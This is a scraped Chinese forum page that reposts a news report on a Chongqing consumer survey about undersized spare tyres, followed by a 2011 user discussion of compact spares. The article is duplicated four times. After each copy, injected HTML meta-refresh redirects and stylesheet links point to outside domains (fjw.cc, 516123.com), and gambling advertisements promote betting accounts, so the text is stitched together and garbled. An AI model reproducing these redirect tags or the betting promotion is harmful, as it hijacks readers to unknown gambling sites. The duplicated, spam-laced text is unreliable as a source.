超级军网汽车备胎缩水成“潜规则”过半车主不知道
来源：百度文库 编辑：超级军网 时间：2024/05/02 13:25:55
<br /><br />本报讯(记者 姜涛 实习记者 严薇 实习 生 冯博)很多品牌汽车随车赠送的备胎，很有可能比原胎的尺寸要小一号。昨日，在重庆卫视的重庆工商315晚会上，市消委会公布了近期就汽车备胎缩水问题 的调查报告。结果显示：在回收的2972份调查问卷中，有超过一半的受访消费者不知道备胎缩水；79%的被访者认为，汽车生产商应配置与原胎规格、质量完 全相同的备胎。
汽车备胎缩水成“潜规则”
近年来随着市民生活水平不断提高，买车的市民也在逐年增长。轮胎对汽车的性 能和安全至关重要，备胎的重要性不言而喻。然而，据很多消费者反映，很多品牌轿车备胎配置与车辆原有轮胎并不相符，备胎配置并不“厚道”。为此，重庆市消 费者权益保护委员会联合部分区县消委会开展了重庆市家用汽车备胎配置情况消费者调查活动，并请鉴识研究机构在项目设计和报告撰写过程中提供专业保障。
市消委会表示，本次调查采用面对面的问卷调查方式进行，共在我市发放调查问卷3000份，收回2972份。在市消委会回收的问卷中，有超过一半的消费者使用过汽车备胎，说明汽车备胎的重要性毋庸置疑。
据问卷调查结果显示，有32%的被访者表示，使用备胎与原胎有些不同；有14%的被访者认为备胎和原胎使用时感觉明显不一样。
为什么备胎与原胎在行驶过程中，会有如此大的区别？据市消委会调查，这是由于多数汽车品牌都采用了小号备胎，并已成为家用汽车购销中的“潜规则”。
八成消费者认为备胎不应缩水
对1108位使用过备胎的被访者调查显示，有31%的被访者有点在意，担心出现安全隐患；有22%的被访者比较在意，认为容易出事故；有34%的被访者非常在意，认为随时都可能发生安全事故。
同时调查结果显示，79%的被访者认为应该配置与原胎规格、质量完全相同的备胎；20%的被访者认为配置全尺寸轮胎即可；仅2%的被访者认为可配置非全尺寸备胎。
市消委会表示，通过调查发现，家用汽车备胎与原胎配置有差异较普遍。调查显示，感觉备胎使用与原胎有差异的消费者占到购买并使用过备胎的受访人数一半以上，说明备胎与原胎配置差异现象较为普遍，且影响到了消费者使用汽车的感受。
通过调查，市消委会还发现，绝大多数消费者认为备胎按原胎标准配置非常重要，并希望在购车过程中，详细了解到相关情况，明明白白消费。大多数被访者对经营者不认真履行告知义务的行为表示不满，要求购买的汽车应该配置与原胎规格、质量完全一致的备胎。
应尽快出台备胎配置标准
在被访者中，超过一半消费者不知道原备胎配置差异情况；在知晓原备胎配置差异的消费者中，七成以上消费者是通过主动了解得知情况，而通过经营者和说明书 了解情况的不足30%。有九成以上消费者表示备胎配置与原胎不符的现象不合理，并表示侵害了他们的知情权，大多数消费者对经营者的这种行为表示不满。
为此，市消委会提醒各汽车生产厂家，家用汽车备用轮胎配置差异情况应当引起高度重视。经营者应严格履行告知义务，切实维护消费者合法权益。
此外，立法机构和政府职能部门应当加快汽车生产、销售、售后服务规范，明确备胎等相关配件的配置标准及售后“三包”规定，切实规范汽车消费市场，作为消费者维护自身合法权益的法律政策依据，推动汽车消费行业健康有序发展。<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)足球→篮球...各类投注开户下注
<P> </P>
推荐→第一投注=:倍率高.→存取速度快.国内最好的投注平台
<br /><br />本报讯(记者 姜涛 实习记者 严薇 实习 生 冯博)很多品牌汽车随车赠送的备胎，很有可能比原胎的尺寸要小一号。昨日，在重庆卫视的重庆工商315晚会上，市消委会公布了近期就汽车备胎缩水问题 的调查报告。结果显示：在回收的2972份调查问卷中，有超过一半的受访消费者不知道备胎缩水；79%的被访者认为，汽车生产商应配置与原胎规格、质量完 全相同的备胎。
汽车备胎缩水成“潜规则”
近年来随着市民生活水平不断提高，买车的市民也在逐年增长。轮胎对汽车的性 能和安全至关重要，备胎的重要性不言而喻。然而，据很多消费者反映，很多品牌轿车备胎配置与车辆原有轮胎并不相符，备胎配置并不“厚道”。为此，重庆市消 费者权益保护委员会联合部分区县消委会开展了重庆市家用汽车备胎配置情况消费者调查活动，并请鉴识研究机构在项目设计和报告撰写过程中提供专业保障。
市消委会表示，本次调查采用面对面的问卷调查方式进行，共在我市发放调查问卷3000份，收回2972份。在市消委会回收的问卷中，有超过一半的消费者使用过汽车备胎，说明汽车备胎的重要性毋庸置疑。
据问卷调查结果显示，有32%的被访者表示，使用备胎与原胎有些不同；有14%的被访者认为备胎和原胎使用时感觉明显不一样。
为什么备胎与原胎在行驶过程中，会有如此大的区别？据市消委会调查，这是由于多数汽车品牌都采用了小号备胎，并已成为家用汽车购销中的“潜规则”。
八成消费者认为备胎不应缩水
对1108位使用过备胎的被访者调查显示，有31%的被访者有点在意，担心出现安全隐患；有22%的被访者比较在意，认为容易出事故；有34%的被访者非常在意，认为随时都可能发生安全事故。
同时调查结果显示，79%的被访者认为应该配置与原胎规格、质量完全相同的备胎；20%的被访者认为配置全尺寸轮胎即可；仅2%的被访者认为可配置非全尺寸备胎。
市消委会表示，通过调查发现，家用汽车备胎与原胎配置有差异较普遍。调查显示，感觉备胎使用与原胎有差异的消费者占到购买并使用过备胎的受访人数一半以上，说明备胎与原胎配置差异现象较为普遍，且影响到了消费者使用汽车的感受。
通过调查，市消委会还发现，绝大多数消费者认为备胎按原胎标准配置非常重要，并希望在购车过程中，详细了解到相关情况，明明白白消费。大多数被访者对经营者不认真履行告知义务的行为表示不满，要求购买的汽车应该配置与原胎规格、质量完全一致的备胎。
应尽快出台备胎配置标准
在被访者中，超过一半消费者不知道原备胎配置差异情况；在知晓原备胎配置差异的消费者中，七成以上消费者是通过主动了解得知情况，而通过经营者和说明书 了解情况的不足30%。有九成以上消费者表示备胎配置与原胎不符的现象不合理，并表示侵害了他们的知情权，大多数消费者对经营者的这种行为表示不满。
为此，市消委会提醒各汽车生产厂家，家用汽车备用轮胎配置差异情况应当引起高度重视。经营者应严格履行告知义务，切实维护消费者合法权益。
此外，立法机构和政府职能部门应当加快汽车生产、销售、售后服务规范，明确备胎等相关配件的配置标准及售后“三包”规定，切实规范汽车消费市场，作为消费者维护自身合法权益的法律政策依据，推动汽车消费行业健康有序发展。<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)足球→篮球...各类投注开户下注
<P> </P>
推荐→第一投注=:倍率高.→存取速度快.国内最好的投注平台
汽车备胎缩水成“潜规则”
近年来随着市民生活水平不断提高，买车的市民也在逐年增长。轮胎对汽车的性 能和安全至关重要，备胎的重要性不言而喻。然而，据很多消费者反映，很多品牌轿车备胎配置与车辆原有轮胎并不相符，备胎配置并不“厚道”。为此，重庆市消 费者权益保护委员会联合部分区县消委会开展了重庆市家用汽车备胎配置情况消费者调查活动，并请鉴识研究机构在项目设计和报告撰写过程中提供专业保障。
市消委会表示，本次调查采用面对面的问卷调查方式进行，共在我市发放调查问卷3000份，收回2972份。在市消委会回收的问卷中，有超过一半的消费者使用过汽车备胎，说明汽车备胎的重要性毋庸置疑。
据问卷调查结果显示，有32%的被访者表示，使用备胎与原胎有些不同；有14%的被访者认为备胎和原胎使用时感觉明显不一样。
为什么备胎与原胎在行驶过程中，会有如此大的区别？据市消委会调查，这是由于多数汽车品牌都采用了小号备胎，并已成为家用汽车购销中的“潜规则”。
八成消费者认为备胎不应缩水
对1108位使用过备胎的被访者调查显示，有31%的被访者有点在意，担心出现安全隐患；有22%的被访者比较在意，认为容易出事故；有34%的被访者非常在意，认为随时都可能发生安全事故。
同时调查结果显示，79%的被访者认为应该配置与原胎规格、质量完全相同的备胎；20%的被访者认为配置全尺寸轮胎即可；仅2%的被访者认为可配置非全尺寸备胎。
市消委会表示，通过调查发现，家用汽车备胎与原胎配置有差异较普遍。调查显示，感觉备胎使用与原胎有差异的消费者占到购买并使用过备胎的受访人数一半以上，说明备胎与原胎配置差异现象较为普遍，且影响到了消费者使用汽车的感受。
通过调查，市消委会还发现，绝大多数消费者认为备胎按原胎标准配置非常重要，并希望在购车过程中，详细了解到相关情况，明明白白消费。大多数被访者对经营者不认真履行告知义务的行为表示不满，要求购买的汽车应该配置与原胎规格、质量完全一致的备胎。
应尽快出台备胎配置标准
在被访者中，超过一半消费者不知道原备胎配置差异情况；在知晓原备胎配置差异的消费者中，七成以上消费者是通过主动了解得知情况，而通过经营者和说明书 了解情况的不足30%。有九成以上消费者表示备胎配置与原胎不符的现象不合理，并表示侵害了他们的知情权，大多数消费者对经营者的这种行为表示不满。
为此，市消委会提醒各汽车生产厂家，家用汽车备用轮胎配置差异情况应当引起高度重视。经营者应严格履行告知义务，切实维护消费者合法权益。
此外，立法机构和政府职能部门应当加快汽车生产、销售、售后服务规范，明确备胎等相关配件的配置标准及售后“三包”规定，切实规范汽车消费市场，作为消费者维护自身合法权益的法律政策依据，推动汽车消费行业健康有序发展。<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)足球→篮球...各类投注开户下注
<P> </P>
推荐→第一投注=:倍率高.→存取速度快.国内最好的投注平台
<br /><br />本报讯(记者 姜涛 实习记者 严薇 实习 生 冯博)很多品牌汽车随车赠送的备胎，很有可能比原胎的尺寸要小一号。昨日，在重庆卫视的重庆工商315晚会上，市消委会公布了近期就汽车备胎缩水问题 的调查报告。结果显示：在回收的2972份调查问卷中，有超过一半的受访消费者不知道备胎缩水；79%的被访者认为，汽车生产商应配置与原胎规格、质量完 全相同的备胎。
汽车备胎缩水成“潜规则”
近年来随着市民生活水平不断提高，买车的市民也在逐年增长。轮胎对汽车的性 能和安全至关重要，备胎的重要性不言而喻。然而，据很多消费者反映，很多品牌轿车备胎配置与车辆原有轮胎并不相符，备胎配置并不“厚道”。为此，重庆市消 费者权益保护委员会联合部分区县消委会开展了重庆市家用汽车备胎配置情况消费者调查活动，并请鉴识研究机构在项目设计和报告撰写过程中提供专业保障。
市消委会表示，本次调查采用面对面的问卷调查方式进行，共在我市发放调查问卷3000份，收回2972份。在市消委会回收的问卷中，有超过一半的消费者使用过汽车备胎，说明汽车备胎的重要性毋庸置疑。
据问卷调查结果显示，有32%的被访者表示，使用备胎与原胎有些不同；有14%的被访者认为备胎和原胎使用时感觉明显不一样。
为什么备胎与原胎在行驶过程中，会有如此大的区别？据市消委会调查，这是由于多数汽车品牌都采用了小号备胎，并已成为家用汽车购销中的“潜规则”。
八成消费者认为备胎不应缩水
对1108位使用过备胎的被访者调查显示，有31%的被访者有点在意，担心出现安全隐患；有22%的被访者比较在意，认为容易出事故；有34%的被访者非常在意，认为随时都可能发生安全事故。
同时调查结果显示，79%的被访者认为应该配置与原胎规格、质量完全相同的备胎；20%的被访者认为配置全尺寸轮胎即可；仅2%的被访者认为可配置非全尺寸备胎。
市消委会表示，通过调查发现，家用汽车备胎与原胎配置有差异较普遍。调查显示，感觉备胎使用与原胎有差异的消费者占到购买并使用过备胎的受访人数一半以上，说明备胎与原胎配置差异现象较为普遍，且影响到了消费者使用汽车的感受。
通过调查，市消委会还发现，绝大多数消费者认为备胎按原胎标准配置非常重要，并希望在购车过程中，详细了解到相关情况，明明白白消费。大多数被访者对经营者不认真履行告知义务的行为表示不满，要求购买的汽车应该配置与原胎规格、质量完全一致的备胎。
应尽快出台备胎配置标准
在被访者中，超过一半消费者不知道原备胎配置差异情况；在知晓原备胎配置差异的消费者中，七成以上消费者是通过主动了解得知情况，而通过经营者和说明书 了解情况的不足30%。有九成以上消费者表示备胎配置与原胎不符的现象不合理，并表示侵害了他们的知情权，大多数消费者对经营者的这种行为表示不满。
为此，市消委会提醒各汽车生产厂家，家用汽车备用轮胎配置差异情况应当引起高度重视。经营者应严格履行告知义务，切实维护消费者合法权益。
此外，立法机构和政府职能部门应当加快汽车生产、销售、售后服务规范，明确备胎等相关配件的配置标准及售后“三包”规定，切实规范汽车消费市场，作为消费者维护自身合法权益的法律政策依据，推动汽车消费行业健康有序发展。<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)足球→篮球...各类投注开户下注
<P> </P>
推荐→第一投注=:倍率高.→存取速度快.国内最好的投注平台
用自行车胎当备胎的 爬过。。。
话说 连领航员都是小备胎。。。。
话说 连领航员都是小备胎。。。。
以后买车，统一举办学习班，大家组织学习领会分组讨论各自新车的
说明书，然后才给行驶证。包括测油，测气，看仪表，道路安全，人品，
开车，油品知识，救助自救，等等一些说明书上的说法，都要逐字逐句
进行深入的学习。人不学习怎么行？
我的车没备胎，只有一个打气机（这个东西倒是省了我打气力气，有一阵子轮胎老是漏气）
和一瓶胶
说明书，然后才给行驶证。包括测油，测气，看仪表，道路安全，人品，
开车，油品知识，救助自救，等等一些说明书上的说法，都要逐字逐句
进行深入的学习。人不学习怎么行？
我的车没备胎，只有一个打气机（这个东西倒是省了我打气力气，有一阵子轮胎老是漏气）
和一瓶胶
备胎小一号很讨厌人，
哪个胎出了问题，连得换都没有，
这能省多少钱
哪个胎出了问题，连得换都没有，
这能省多少钱
嘿嘿。。几乎所有日本车是全尺寸备胎。。。。
最早曝出备胎小一号的就是欧美车
嘿嘿。。几乎所有日本车是全尺寸备胎。。。。
最早曝出备胎小一号的就是欧美车
好像是别克
好像是别克
speed250 发表于 2011-3-16 15:47 
问题是，你想把备胎换成全尺寸的都没办法
因为放备胎的那个地方只能放小号胎
问题是，你想把备胎换成全尺寸的都没办法
因为放备胎的那个地方只能放小号胎
回复 7# kobold
要换轮毂的
要换轮毂的
全尺寸备胎飘过:victory:
speed250 发表于 2011-3-16 16:06
问题是当时曝出你就是换了全尺寸备胎，放备胎的那个地方也放不下全尺寸的胎
问题是当时曝出你就是换了全尺寸备胎，放备胎的那个地方也放不下全尺寸的胎
回复 10# kobold
啥车啊，蛋疼......
啥车啊，蛋疼......
小车还是应该配全尺寸胎的，大车轮胎宽度太大了放不下换个小备胎还能接受
没备胎的飘过
日系好象特别注重轮胎,我对比过,20万以下,日系车的轮胎明显好过德系.比如说明锐就是很垃圾的锦湖轮胎,克鲁兹的轮胎也够差的.思域轮胎是横滨的.
备胎就是备胎嘛 够用就可以了[:a4:]
[:a1:]奔驰GLK300的备胎，那就是一个铁圈加一层橡胶啊。[:a1:]
kobold 发表于 2011-3-16 16:02
康派克特备胎并不比全尺寸便宜。主要是车身设计没地方，或者是不聪明。
以前切肉机放在后备箱左，很烦人
康派克特备胎并不比全尺寸便宜。主要是车身设计没地方，或者是不聪明。
以前切肉机放在后备箱左，很烦人
追求储物空间的原因。日系备胎比较厚道，这是真的
回复 kobold
啥车啊，蛋疼......
speed250 发表于 2011-3-16 17:03
自己搜索“小号备胎”吧
还有。。说备胎小一号没关系的。。
你开车以后想换轮胎了，就去买个小一寸的，还便宜，又能开，不是吗？？
回复 kobold
啥车啊，蛋疼......
speed250 发表于 2011-3-16 17:03
自己搜索“小号备胎”吧
还有。。说备胎小一号没关系的。。
你开车以后想换轮胎了，就去买个小一寸的，还便宜，又能开，不是吗？？
自己搜索“小号备胎”吧
还有。。说备胎小一号没关系的。。
你丫开车以后想换轮胎了，就去买个 ...
kobold 发表于 2011-3-17 09:17
难得这么一个帖子就别王小丫了，好嘛？谢谢。
compact备胎是高压胎，轮毂轮胎都是不一样的，速度有限制（好像是80公里），很容易爆胎，仅仅是用在临时把你的车开到补胎店修理用的，不能作为永久之用，
如果到处有服务问题还不大。
缩水问题，这倒不应该是厚道不厚道的问题，而且你买车的时候可以了解一下的。车体已经设计好了，你就是
去打架，硬要来一个全尺寸，也没地方放，那个地方我们俗话叫tub（浴盆区域），是根据备胎尺寸设计的
后地板钣金件。只能放在后备箱里面占体积。我的途安本来也想从旧车店淘一个备胎
（原来根本没有，山高水低的时候心里发毛），但是放了备胎，储物空间大占，7座几乎不可能了。
如果说厚不厚道，看看有全尺寸备胎的，多少是用了本务轮胎一样的轮毂（铝合金），多少用的是黑钢轮毂？:D
自己搜索“小号备胎”吧
还有。。说备胎小一号没关系的。。
你丫开车以后想换轮胎了，就去买个 ...
kobold 发表于 2011-3-17 09:17
难得这么一个帖子就别王小丫了，好嘛？谢谢。
compact备胎是高压胎，轮毂轮胎都是不一样的，速度有限制（好像是80公里），很容易爆胎，仅仅是用在临时把你的车开到补胎店修理用的，不能作为永久之用，
如果到处有服务问题还不大。
缩水问题，这倒不应该是厚道不厚道的问题，而且你买车的时候可以了解一下的。车体已经设计好了，你就是
去打架，硬要来一个全尺寸，也没地方放，那个地方我们俗话叫tub（浴盆区域），是根据备胎尺寸设计的
后地板钣金件。只能放在后备箱里面占体积。我的途安本来也想从旧车店淘一个备胎
（原来根本没有，山高水低的时候心里发毛），但是放了备胎，储物空间大占，7座几乎不可能了。
如果说厚不厚道，看看有全尺寸备胎的，多少是用了本务轮胎一样的轮毂（铝合金），多少用的是黑钢轮毂？:D
难得这么一个帖子就别王小丫了，好嘛？谢谢。
compact备胎是高压胎，速度有限制，仅仅是用在临时把你的 ...
造汽 发表于 2011-3-17 10:40
抱歉。。修改了
还有。。。不少人因此加装后门备胎架。。。对于越野车来说。能解决这个问题
而且越野车如果不配全尺寸备胎，真在极端情况下。。靠一个小一号的轮胎怎么回去？？
还有。。我的车，备胎和车胎用的是一样的轮毂，铝合金的，保养得时候直接互换，这个怎么说呢？？？这可是当年最低端的
难得这么一个帖子就别王小丫了，好嘛？谢谢。
compact备胎是高压胎，速度有限制，仅仅是用在临时把你的 ...
造汽 发表于 2011-3-17 10:40
抱歉。。修改了
还有。。。不少人因此加装后门备胎架。。。对于越野车来说。能解决这个问题
而且越野车如果不配全尺寸备胎，真在极端情况下。。靠一个小一号的轮胎怎么回去？？
还有。。我的车，备胎和车胎用的是一样的轮毂，铝合金的，保养得时候直接互换，这个怎么说呢？？？这可是当年最低端的
轮胎的质量直接影响到驾驶，所以我不会贪便宜买棒子货。
以上讨论，充分证明：日车偷工减料，竟然用同规格备胎糊弄消费者。欧美很厚道，备胎还单独设计，多费一套模具，强烈要求小强热线予以曝光！！
你让245 45R/18的备胎放哪啊
哈，我听到的说法是：备胎不常用，经常存在气压不足的情况，厂家设计：在使用备胎的情况下，让车主只能开到时速80以下。而使用小号备胎有提醒的作用，因为四个轮胎大小不一样
不知道真的假的，不过如果有国外的同学，也可以说说所在地的情况
不知道真的假的，不过如果有国外的同学，也可以说说所在地的情况
kobold 发表于 2011-3-17 10:45
越野车后门备胎有被偷掉的危险，但中国好像报道不多。
屁股下外部悬吊方式在换胎的时候，备胎超脏，一手灰。
越野车后门备胎有被偷掉的危险，但中国好像报道不多。
屁股下外部悬吊方式在换胎的时候，备胎超脏，一手灰。
chinpi2000 发表于 2011-3-17 12:08
晕。。。日车是原胎备胎都和美国车的备胎一般儿大吧。。。
晕。。。日车是原胎备胎都和美国车的备胎一般儿大吧。。。
我的备胎是全尺寸的，和主胎规格完全一样。:D
装备小备胎的目的是保持胎花磨损一致，防止有些懒人换了备胎不换回来。
zjx-zlm 发表于 2011-3-17 18:13
备胎行驶不能超过80，防止使用不同磨损程度的轮胎行驶。欧洲都是小轿车都小备胎了。
备胎行驶不能超过80，防止使用不同磨损程度的轮胎行驶。欧洲都是小轿车都小备胎了。
speed250 发表于 2011-3-16 15:47
换轮胎都是一换一对的，为了自己和他人安全着想，你还是从了吧。
换轮胎都是一换一对的，为了自己和他人安全着想，你还是从了吧。
但愿今年的汽车三包政策能颁布！
huanming1985 发表于 2011-3-17 19:20
桓兄直肠子，吃窝头拉棒子面儿粥，
桓兄直肠子，吃窝头拉棒子面儿粥，
越野车后门备胎有被偷掉的危险，但中国好像报道不多。
屁股下外部悬吊方式在换胎的时候，备胎超脏，一 ...
造汽 发表于 2011-3-17 18:45
后门备胎能加锁,最好加个罩，不然老化很快。。。。
底部备胎??最好别...很多人越野一趟,回来以后,80%备胎被刮丢了...
越野车后门备胎有被偷掉的危险，但中国好像报道不多。
屁股下外部悬吊方式在换胎的时候，备胎超脏，一 ...
造汽 发表于 2011-3-17 18:45
后门备胎能加锁,最好加个罩，不然老化很快。。。。
底部备胎??最好别...很多人越野一趟,回来以后,80%备胎被刮丢了...
装备小备胎的目的是保持胎花磨损一致，防止有些懒人换了备胎不换回来。
cedric 发表于 2011-3-17 22:58
换轮胎都是一换一对的，为了自己和他人安全着想，你还是从了吧。
cedric 发表于 2011-3-17 23:02
别为小备胎洗地了
我的车说明书上写得很清楚：
每5000KM保养，其中一项内容就是后备胎换到左前轮，左前轮换到右后轮，右后轮换到右前轮，右前轮换左后轮，左后轮丢后备箱（好像是这样？）
还有附草图一张，有空我拍照贴出来给你们看看
装备小备胎的目的是保持胎花磨损一致，防止有些懒人换了备胎不换回来。
cedric 发表于 2011-3-17 22:58
换轮胎都是一换一对的，为了自己和他人安全着想，你还是从了吧。
cedric 发表于 2011-3-17 23:02
别为小备胎洗地了
我的车说明书上写得很清楚：
每5000KM保养，其中一项内容就是后备胎换到左前轮，左前轮换到右后轮，右后轮换到右前轮，右前轮换左后轮，左后轮丢后备箱（好像是这样？）
还有附草图一张，有空我拍照贴出来给你们看看
kobold 发表于 2011-3-18 08:56
我的车说明上还说2万公里一保养呢。
我的车说明上还说2万公里一保养呢。
kobold 发表于 2011-3-18 08:56
我的车说明上还说2万公里一保养呢。
我的车说明上还说2万公里一保养呢。
而且，欧洲一般是胎花深得车胎放后头，胎花浅的放前头。
cedric 发表于 2011-3-18 09:01
那你照做就行了啊
小备胎。。越野车上小备胎更害死人。。。极端情况下顶着小胎开出野地。。。真难想象
那你照做就行了啊
小备胎。。越野车上小备胎更害死人。。。极端情况下顶着小胎开出野地。。。真难想象
huanming1985 发表于 2011-3-17 19:20
如果用日车轿车和美系SUV比，应该是介样的。就如很多人拿日系半残的飞度奥拓之类和双B比钢板，绝对是垃圾。
如果用日车轿车和美系SUV比，应该是介样的。就如很多人拿日系半残的飞度奥拓之类和双B比钢板，绝对是垃圾。